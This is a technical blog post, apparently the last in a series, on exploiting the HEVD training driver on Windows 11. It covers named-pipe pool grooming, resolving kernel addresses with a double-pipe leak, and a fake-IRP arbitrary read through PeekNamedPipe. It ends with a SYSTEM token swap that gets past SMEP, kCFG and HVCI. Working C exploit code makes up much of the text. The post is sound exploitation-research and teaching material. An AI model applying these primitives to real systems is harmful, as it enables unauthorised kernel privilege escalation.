from-pool-leak-to-data-only-lpe

In Part 3, I successfully groomed the Windows 11 Non-Paged Pool and leaked a DATA_QUEUE_ENTRY (DQE) structure. However, I hit a wall: the leaked structure lacked a self-pointer, leaving me without a target address for the WWW primitive.

To turn the memory disclosure into a weaponized Arbitrary Read, I’ll need to solve two major problems:

  1. Dynamically resolve the absolute 64-bit kernel virtual address of the allocated pipe buffer.
  2. Force the Named Pipe File System driver (npfs.sys) to read arbitrary kernel memory back to user space without triggering a bugcheck.

In this final post, I will implement a double-pipe technique to resolve pool addresses mathematically, bypass IoCompleteRequest() crashes using PeekNamedPipe, and execute a pure Data-Only privilege escalation to steal the SYSTEM token.

The Leaked Candidate & The Illusion of Progress

Once the memory disclosure successfully reads past the buffer boundary into an adjacent Named Pipe allocation, parse those leaked bytes into a candidate structure representing the kernel’s Data Queue Entry (DATA_QUEUE_ENTRY / DQE):

typedef struct {
    SIZE_T    hdrOffset;
    SIZE_T    dataOffset;
    ULONG64   flink;
    ULONG64   blink;
    ULONG64   irp;
    ULONG32   entryType;
    ULONG32   dataSize;
    int       pipeIdx;
} CANDIDATE;

Leaked Pipe data.

At first glance, dumping a live kernel structure feels like a massive win. But when you analyze what is actually sitting inside these fields, reality sets in: this raw leak is useless on its own.

When inspecting the leaked pointers, you will immediately notice that flink and blink hold identical 64-bit addresses.

This happens because of how npfs.sys manages data queues. When a named pipe contains only a single queued entry (the payload I just sprayed), its forward link and backward link both point directly back to the LIST_ENTRY head stored inside the pipe’s internal Control Channel Block (CCB) header.

While this leaks a valid kernel address inside npfs.sys memory, it tells nothing about where the target process structures live.

2. The Missing Self-Pointer

Even though I possess an Arbitrary Write primitive, I do not know the kernel address of the DQE itself.

The DQE structure contains internal offsets and list pointers, but it does not contain a self-referential pointer to its own allocation base in the Non-Paged Pool. To use an arbitrary write primitive (*Where = *What), I must provide an explicit destination address. Without knowing DqeAddr, I cannot tell the driver where to write in memory to modify this DQE.

3. The Lack of Utility

Even if I could blindly guess where the the object lives, what would I even overwrite?

A leak alone is not enough, and a write alone is not enough. I must combine the arbitrary write with the leaked pipe structure to construct a true Arbitrary Read Primitive.

Weaponizing npfs.sys: The Unbuffered IRP Strategy

To build an arbitrary kernel read, you have to look closely at how the Named Pipe file system driver handles incoming read operations when user-mode requests data from a pipe.

Inside npfs.sys, a DATA_QUEUE_ENTRY can operate in two distinct modes, controlled by the entryType field:

[ DQE Structure ]
  entryType = 1 (Unbuffered)
  irp ───────────────> [ Fake _IRP Structure ]
                         +0x00: Header / Type
                         +0x18: SystemBuffer ───> Target Kernel Address (0xFFFF...)


                                           [ npfs.sys reads from here! ]

The Read Logic in npfs.sys

When a standard read request (such as a call to ReadFile) reaches an unbuffered named pipe, npfs.sys executes the following sequence:

  1. It inspects the DQE at the head of the pipe’s queue and checks entryType.
  2. Seeing entryType = 1, it dereferences DQE->irp to locate the associated _IRP structure.
  3. Inside the _IRP structure, offset +0x18 holds the AssociatedIrp.SystemBuffer pointer.
  4. npfs.sys takes whatever memory address is stored in SystemBuffer, reads dataSize bytes directly from that pointer, and copies the data back to the user-mode buffer supplied by ReadFile.

This behavior gives us a clear mechanism: if I can craft a fake IRP in memory, set its SystemBuffer pointer to an address I want to inspect, update DQE->irp to point to the fake structure, and flip entryType to 1, issuing a standard ReadFile call will force npfs.sys to dereference the target pointer and hand us arbitrary kernel memory.

The Next Wall: Locating DQE in Memory

The logic behind the unbuffered IRP read is sound, but attempting to execute it immediately exposes a critical bottleneck: I don’t know where the DQE lives in memory.

While the out-of-bounds memory disclosure successfully dumped the contents of the adjacent DQE into user-mode, the DQE structure does not contain a self-pointer. It knows its internal offsets and payload length, but it has no field telling us its own base allocation address in the Non-Paged Pool.

Double Pipe Solution

To solve this I need a way to force npfs.sys to leak an absolute pool pointer to a DQE structure directly into a user-mode leak buffer.

When a named pipe holds only a single data entry, its doubly-linked list (LIST_ENTRY) is trivial: flink and blink both point to the pipe’s internal Control Channel Block (CCB) list head. They never point to a DQE.

However, if I push two distinct data payloads into the exact same named pipe handle, npfs.sys links the two entries together:

                  ┌─────────────────────────────────────────┐
                  │           CCB (List Head)               │
                  └─────────────────────────────────────────┘
                       ▲                               │
         (DQE1.blink)  │                               │ (DQE2.flink)
                       │                               ▼
          ┌─────────────────────────┐     ┌─────────────────────────┐
          │          DQE 1          │     │          DQE 2          │
          │                         │     │                         │
          │  flink ─────────────────┼────>│  (Points to DQE 2!)     │
          │                         │     │                         │
          │  (Points to DQE 1!)     │<────┼───────────────── blink  │
          └─────────────────────────┘     └─────────────────────────┘

If the out-of-bounds memory disclosure spans across adjacent pool allocations that contain both entries from a double-buffered pipe, it’ll leak two candidate structures that point directly at each other.

Grooming with Double Pipes

To set up this layout, I need to adjust the heap spraying strategy. First prime the heap with single allocations to fill organic fragmentation holes. Once the pool is stable, spray double-buffered pipes.

Each pipe pair receives two sequential writes, tagged with unique index identifiers (e.g., i and i | 0x80000000) so I can verify their relationship when parsing the leak:

static int SprayDoublePipes(PIPE_PAIR* pipes, int count, char* dataTemplate, DWORD len) {
    int live = 0;
    for (int i = 0; i < count; i++) {
        if (!OpenPipePair(&pipes[i])) continue;

        /* Write First Entry (DQE1) */
        *(int*)(dataTemplate + INDEX_OFFSET) = i;
        if (!WritePipe(pipes[i].write, dataTemplate, len)) { 
            ClosePipePair(&pipes[i]); 
            continue; 
        }

        /* Write Second Entry (DQE2) into the SAME pipe handle */
        *(int*)(dataTemplate + INDEX_OFFSET) = i | 0x80000000;
        if (!WritePipe(pipes[i].write, dataTemplate, len)) { 
            ClosePipePair(&pipes[i]); 
            continue; 
        }

        live++;
    }
    return live;
}

By pushing two payloads into every sprayed pipe, I can saturate the non-paged pool with linked DQE pairs.

Mathematical Address Resolution

Once the driver’s memory disclosure bug triggers and returns a buffer of leaked pool data, scan the dump for candidate DQEheaders. If the out-of-bounds read captured a multi-entry pipe, scanning will yield at least two candidate structures (candCount >= 2):

/* ---- Scan Leaked Memory ---- */
int candCount = ScanLeak(leakBuf, LEAK_SIZE, pipeData, 32, candidates, MAX_CANDIDATES);
printf("[+] Found %d candidate(s)\n", candCount);
if (candCount < 2) { 
    printf("[-] Not enough candidates\n"); 
    goto cleanup; 
}

ULONG64 leakBase = 0, dqe1 = 0, dqe2 = 0, queueHead = 0;
int pipeIdx = -1;

if (!FindMultiEntryPair(candidates, candCount, &leakBase, &dqe1, &dqe2, &queueHead, &pipeIdx)) {
    printf("[-] No multi-entry pair found\n"); 
    goto cleanup; 
}

To extract the exact kernel virtual addresses, pass the candidates into FindMultiEntryPair. This function cross-references the leaked pointers to validate the structure layout and resolve the absolute pool base:

static BOOL FindMultiEntryPair(CANDIDATE* cands, int count,
                               ULONG64* outLeakBase, ULONG64* outDqe1,
                               ULONG64* outDqe2, ULONG64* outQueueHead,
                               int* outPipeIdx) 
{
    for (int i = 0; i < count; i++) {
        for (int j = 0; j < count; j++) {
            if (i == j) continue;

            /* Check if DQE1.blink and DQE2.flink both point to the same CCB ListHead */
            if (cands[i].blink != cands[j].flink) continue;

            /* Extract raw kernel addresses directly from the list pointers */
            ULONG64 dqe1Addr = cands[j].blink;
            ULONG64 dqe2Addr = cands[i].flink;

            /* Deduce allocation base address using relative header offsets */
            ULONG64 base1 = dqe2Addr - cands[j].hdrOffset;
            ULONG64 base2 = dqe1Addr - cands[i].hdrOffset;

            /* Verify mathematical consistency (pointer delta == offset delta) and canonical range */
            if (base1 != base2 || base1 < 0xFFFF800000000000ULL) continue;

            *outLeakBase  = base1;
            *outDqe1       = dqe1Addr;
            *outDqe2       = dqe2Addr;
            *outQueueHead  = cands[i].blink;
            *outPipeIdx    = cands[i].pipeIdx;

            return TRUE;
        }
    }
    return FALSE;
}

The Math Behind the Resolution

The dependency loop is broken. I now possess the exact, absolute 64-bit kernel virtual address of a controllable DQE structure (DqeAddr), giving the Arbitrary Write primitive a concrete target to craft an unbuffered IRPread.

Executing ReadFile and the Immediate BugCheck

With the double-pipe grooming technique successfully resolving the absolute kernel address of the DQE (DqeAddr), the final piece of the arbitrary read puzzle appears to be in place.

I just carve a minimal fake _IRP, point SystemBuffer to the desired kernel read address, update DQE.irp to point to the fake structure, flip DQE.entryType to 1 (Unbuffered), and invoke ReadFile:

static BOOL KernelRead(HANDLE hHevd, HANDLE hPipeRead, ULONG64 DqeAddr,
                       ULONG64 TargetKernelAddr, PVOID OutBuf, ULONG ReadSize)
{
    BOOL sizePatched = FALSE;
    BOOL ok = FALSE;
    DWORD got = 0;

    ULONG64 fakeIrp[0x20] = {0};
    fakeIrp[3] = TargetKernelAddr;

    ULONG64 FakeIrpUserVa = (ULONG64)fakeIrp;
    if (!ArbitraryWrite8(hHevd, DqeAddr + 0x10, FakeIrpUserVa)) return FALSE;

    if (ReadSize > PIPE_DATA_SIZE) {
        if (!ArbitraryWrite8(hHevd, DqeAddr + 0x28, (ULONG64)ReadSize)) goto cleanup;
        sizePatched = TRUE;
    }

    if (!ArbitraryWrite8(hHevd, DqeAddr + 0x20, 0x000001C800000001ULL)) goto cleanup;

    ok = ReadFile(hPipeRead, OutBuf, ReadSize, &got, NULL);
    ok = ok && (got == ReadSize);

cleanup:
    ArbitraryWrite8(hHevd, DqeAddr + 0x20, 0x000001C800000000ULL);
    ArbitraryWrite8(hHevd, DqeAddr + 0x10, 0ULL);
    if (sizePatched) {
        ArbitraryWrite8(hHevd, DqeAddr + 0x28, PIPE_DATA_SIZE);
    }
    return ok;
}

The code executes, memory is copied… and the system immediately crashes with BugCheck 0x44: MULTIPLE_IRP_COMPLETE_REQUESTS.

Deconstructing BugCheck 0x44

To understand why this crash occurs, I must trace what happens inside npfs.sys when ReadFile processes an unbuffered queue entry.

When the API is called on a named pipe handle, the I/O Manager routes the request to npfs!NpReadDataQueue.

ReadFile()


npfs!NpReadDataQueue

   ├─> Sees entryType == 1 (Unbuffered)
   ├─> Dereferences DQE.irp -> Reads TargetKernelAddr from SystemBuffer
   ├─> Copies memory to user-space OutBuf

   ▼ (Dequeues the entry & finishes the operation)
IoCompleteRequest(FakeIrp)


BSOD: MULTIPLE_IRP_COMPLETE_REQUESTS (0x44)
  1. ReadFile is a consuming I/O operation. Its purpose is to remove data from the queue once read.
  2. Dequeuing: Because npfs considers the unbuffered read operation completed, it unlinks the DQE from the pipe’s queue and prepares to clean up the underlying I/O request.
  3. The IRP Completion Call: To notify the operating system that this unbuffered I/O operation is finished, npfs.sys takes the pointer stored in DQE.irp (the carved address DqeAddr + 0x30) and hands it directly to IoCompleteRequest().

This is where the kernel crashes. IoCompleteRequest() expects a fully-formed, genuine kernel _IRP object populated with valid I/O stack locations, thread references, cancel routines, and state flags.

Because the carved “fake IRP” is merely a 32-byte skeleton sitting inside a raw pool buffer, IoCompleteRequest() inspects its state, detects invalid or missing completion flags, and assumes an IRP has been completed multiple times or corrupted. The kernel immediately panics, issuing a bugcheck to halt the system.

Non-Destructive Inspection via PeekNamedPipe

The core problem is not a fake _IRP layout, it is the fact that ReadFile completes and dequeues the request, forcing npfs.sys to invoke IoCompleteRequest().

To perform the arbitrary kernel read without triggering IRP completion, simply replace ReadFile with PeekNamedPipe.

PeekNamedPipe()


npfs!NpPeekDataQueue

   ├─> Sees entryType == 1 (Unbuffered)
   ├─> Dereferences DQE.irp -> Reads TargetKernelAddr from SystemBuffer
   ├─> Copies memory to user-space OutBuf

   ▼ (Leaves entry in queue!)
Returns successfully to user-mode (IoCompleteRequest NEVER called)

Once PeekNamedPipe finishes copying the target memory, step 6 of the function executes: I simply use the arbitrary write to immediately restore DQE.entryType back to 0 (Buffered) and clear DQE.irp back to 0.

When the pipe is later closed or freed, npfs.sys sees a standard buffered entry and cleans it up normally, completely bypassing IoCompleteRequest and achieving a stable, repeatable arbitrary kernel read primitive.

Reading the kernel base correctly reveals the MS-Dos header

Data-Only Attack

With an arbitrary read primitive and an arbitrary write primitive, traditional kernel exploitation would historically try to hijack control flow: overwriting a function pointer, disabling SMEP (Supervisor Mode Execution Prevention), and executing kernel shellcode.

However, modern mitigations like SMEP, SMAP, kCFG (Kernel Control Flow Guard), and HVCI (Hypervisor-Protected Code Integrity) make executing user-space code from the kernel or altering kernel execution paths extremely difficult.

Data-Only Attacks completely bypass these mitigations. You never redirect execution flow or touch executable memory. Instead, use the primitives to modify pure kernel data structures; specifically, swapping the Security Token pointer of the unprivileged process with that of the SYSTEM process.

Phase 1: Dynamic Symbol Resolution via Export Parsing

Before I can locate process structures in kernel memory, i need a reliable entry point into the kernel’s process list. The global kernel variable nt!PsInitialSystemProcess holds a direct pointer to the SYSTEM process’s _EPROCESS structure.

While I could hardcode an RVA offset from ntoskrnl base (K_BASE + PS_INITIAL_RVA), hardcoded offsets break across minor Windows builds and updates. FindPsInitialSystemProcess solves this by programmatically parsing ntoskrnl.exe’s PE export table in kernel memory.

[ntoskrnl Base Address]


[DOS Header] ──> e_lfanew ──> [NT Headers]


                      [Export Data Directory]

         ┌─────────────────────────┼─────────────────────────┐
         ▼                         ▼                         ▼
   [Address Table]           [Name Table]            [Ordinal Table]

                         Scans for string:
                     "PsInitialSystemProcess"
  1. Read the DOS header at KBase to retrieve e_lfanew, then reads the PE NT Headers (0x108 bytes) to verify the “PE\0\0” signature.
  2. Read Data Directory entry 0at offset +0x88inside IMAGE_OPTIONAL_HEADER64to get the Export Directory RVA.
  3. Read the Export Directory structure (ed) to get arrays of function names, RVAs, and ordinals:
    • Walk AddressOfNames array to read export string names.
    • Compare string until “PsInitialSystemProcess” matches.
    • Use matching index to look up ordinal in AddressOfNameOrdinals.
    • Resolve final kernel virtual address via AddressOfFunctions[ordinal].

Phase 2: Navigating the Kernel Process Graph

Once PsInitialSystemProcess is resolved, reading its address gives me the absolute kernel virtual address of the SYSTEM process’s _EPROCESS block.

  SYSTEM EPROCESS                        Target EPROCESS
┌──────────────────┐                   ┌──────────────────┐
│ UniqueProcessId  │ = 4               │ UniqueProcessId  │ = 1234
│                  │                   │                  │
│ ActiveProcessLinks                   │ ActiveProcessLinks
│   Flink ─────────┼────── ... ───────►│   Flink ─────────┼─────► (Loop back)
│   Blink ◄────────┼────── ... ────────┼── Blink          │
│                  │                   │                  │
│ Token            │ ──► [SYSTEM]      │ Token            │ ──► [User]
└──────────────────┘                   └──────────────────┘

FindOurEprocess iterates through the circular list to find my own process structure:

  1. Starts at SystemEprocess.
  2. Reads the Flinkpointer inside current + EPROCESS_ACTIVEPROCESSLINKS_OFFSET.
  3. Subtracts EPROCESS_ACTIVEPROCESSLINKS_OFFSET(0x1D8) from Flinkto calculate the base address of the next process’s _EPROCESSblock.
  4. Reads UniqueProcessId(+0x1D0) of the target _EPROCESSand compares it to GetCurrentProcessId().
  5. Repeats until a PID match is found or the list loops back to SystemEprocess.

Phase 3: Token Swapping

With both SYSTEM EPROCESS and EPROCESS located, the final step is stealing the SYSTEMsecurity token.

In 64-bit Windows kernels, the _EPROCESS.Tokenmember (+0x248) is not a raw object pointer. It is stored as an EX_FAST_REFstructure, which combines an object pointer with a fast reference count packed into the lowest 4 bits (nibble).

 64-bit EX_FAST_REF Structure:
 ┌─────────────────────────────────────────────────────────┬──────────┐
 │ Kernel Address Bits (Bits 63..4)                        │ RefCount │
 │ 0xFFFF800712345670                                      │ 0x1      │
 └─────────────────────────────────────────────────────────┴──────────┘

When updating the token pointer, I must preserve the target process’s existing reference count bits (ourToken & 0xF). If I clear or overwrite these bits incorrectly, the object manager will mismatch reference counts during process termination or handle allocation, resulting in a crash.

/* 1. Read SYSTEM Token pointer */
ULONG64 sysToken = KernelRead64(hHevd, hPipeRead, DqeAddr, systemProc + EPROCESS_TOKEN_OFFSET);

/* 2. Read the current Token pointer */
ULONG64 ourToken = KernelRead64(hHevd, hPipeRead, DqeAddr, ourProc + EPROCESS_TOKEN_OFFSET);

/* 3. Combine SYSTEM pointer address with the local fast-ref bits */
ULONG64 newToken = (sysToken & ~0xF) | (ourToken & 0xF);

/* 4. Overwrite the EPROCESS.Token with the forged value */
ArbitraryWrite8(hHevd, ourProc + EPROCESS_TOKEN_OFFSET, newToken);

Complete Exploit Lifecycle

  1. Heap Grooming: Spray single and double pipes (npfs.sys) to create predictable non-paged pool memory layouts.
  2. Address Resolution: Trigger HEVD out-of-bounds leak to inspect double pipe pointers and resolve absolute 64-bit kernel pool addresses (DqeAddr).
  3. Arbitrary Read Primitive: Carve a fake _IRPin a DQEpayload, switch EntryType = 1(Unbuffered), set SystemBufferto target kernel address, and execute non-destructive reads via PeekNamedPipe.
  4. Symbol & Structure Resolution: Parse ntoskrnlEAT to resolve PsInitialSystemProcess, walk ActiveProcessLinksto locate the process _EPROCESS.
  5. Data-Only Elevation: Overwrite ourProc + EPROCESS_TOKEN_OFFSETwith the masked SYSTEMtoken address.
  6. Execution: Launch cmd.exeor child processes, which now inherit full NT AUTHORITY\SYSTEMprivileges from the updated token.

Conclusion & Series Summary

By keeping execution entirely within valid paths and manipulating pure data structures, I completely bypassed modern Windows 11 protections like SMEP, SMAP, kCFG, and HVCI.

Across this four-part series, I progressed from classic control flow hijacking to modern pool grooming:

  1. Stack Buffer Overflow: The fundamentals of stack layout, ROP chains, and restoring thread state.
  2. Arbitrary Write: Moving to data-only primitives, managing register volatility, and handling partial subregister stack pivots.
  3. Kernel Pool Grooming: Defeating modern Windows 11 LFH randomization via Subsegment Saturation.
  4. Weaponizing npfs.sys: Leveraging unbuffered IRP logic and PeekNamedPipe to build a stable Arbitrary Read and perform DKOM token swapping.

Data-only attacks demonstrate that even when executable code integrity is strictly enforced by the hypervisor, control over pure data structures remains one of the most lethal primitives in kernel exploitation.

*